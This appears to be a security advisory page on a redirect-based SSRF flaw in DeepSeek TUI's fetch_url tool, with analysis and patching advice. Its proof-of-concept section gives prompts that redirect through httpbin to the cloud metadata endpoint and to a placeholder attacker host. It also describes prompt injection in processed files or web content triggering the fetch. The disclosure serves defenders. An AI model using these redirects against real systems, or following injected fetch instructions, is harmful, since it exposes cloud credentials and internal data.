EUVD-2026-32964
GHSA-96ff-gc8g-wpvg
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.
PoC
Step 1 - Baseline: Confirm fetch_url blocks direct requests to restricted IPs.
Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error - "restricted address (private/loopback/link-local)"Step 2 - SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302Expected result: The error message says "connection refused" or "request failed: connect error" - NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.
Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.
Step 3 - Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.Impact
On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.
AnalysisAI
HTTP redirect bypass in DeepSeek TUI's fetch_url tool allows Server-Side Request Forgery (SSRF) against cloud metadata endpoints and internal services. The tool validates only the initial URL against restricted IP blocklists but automatically follows up to 5 HTTP redirects without re-validation, enabling attackers to exfiltrate AWS/GCP/Azure IAM credentials and instance metadata via prompt injection attacks. Vendor-released patch available in version 0.8.22. No active exploitation confirmed (not in CISA KEV), but detailed proof-of-concept exists in public advisory demonstrating successful bypass of SSRF protections.
Technical ContextAI
DeepSeek TUI is a terminal user interface for DeepSeek AI models distributed as Rust (deepseek-tui, deepseek-tui-cli) and npm (deepseek-tui) packages. The vulnerability exists in the fetch_url tool's HTTP client implementation using Rust's reqwest library with redirect policy set to limited(5). The tool implements CWE-918 (Server-Side Request Forgery) protections via is_restricted_ip() function to block requests to RFC1918 private addresses, loopback interfaces, and link-local addresses including 169.254.169.254 (cloud metadata endpoint). However, the reqwest client's automatic redirect handling bypasses this validation layer-only the initial URL undergoes SSRF checks, while redirect targets (HTTP 301/302/307/308 responses) are followed without IP address re-validation. This architectural flaw creates a classic Time-of-Check-Time-of-Use (TOCTOU) vulnerability where the security decision is made against the initial URL but the actual network request targets the redirected destination.
RemediationAI
Upgrade immediately to DeepSeek TUI version 0.8.22 or later, which implements redirect target validation against the same SSRF blocklist applied to initial URLs. Installation methods: npm users run 'npm install -g deepseek-tui@latest' to update both binaries automatically; Cargo users run 'cargo install deepseek-tui-cli deepseek-tui --locked --force' to reinstall both required packages; Docker users pull 'ghcr.io/hmbown/deepseek-tui:v0.8.22' or 'ghcr.io/hmbown/deepseek-tui:latest'; manual installation requires downloading both platform-specific binaries from the v0.8.22 release at https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22 and verifying checksums in deepseek-artifacts-sha256.txt. If immediate patching is not possible, implement network-layer compensating controls: configure egress firewall rules to block outbound connections from DeepSeek TUI processes to 169.254.169.0/16 (cloud metadata), 127.0.0.0/8 (loopback), 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 (RFC1918 private networks)-note this breaks legitimate internal service access and may interfere with tool functionality. Alternatively, run DeepSeek TUI in network-isolated containers with no access to cloud metadata endpoints or internal networks, though this limits the fetch_url tool's utility. Apply prompt injection defenses: sanitize or restrict AI model inputs from untrusted sources, implement allowlists for fetch_url domains if feasible, and monitor fetch_url invocations for redirect chains or metadata endpoint access attempts. All compensating controls reduce but do not eliminate risk-patching to 0.8.22 remains the only complete mitigation.
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today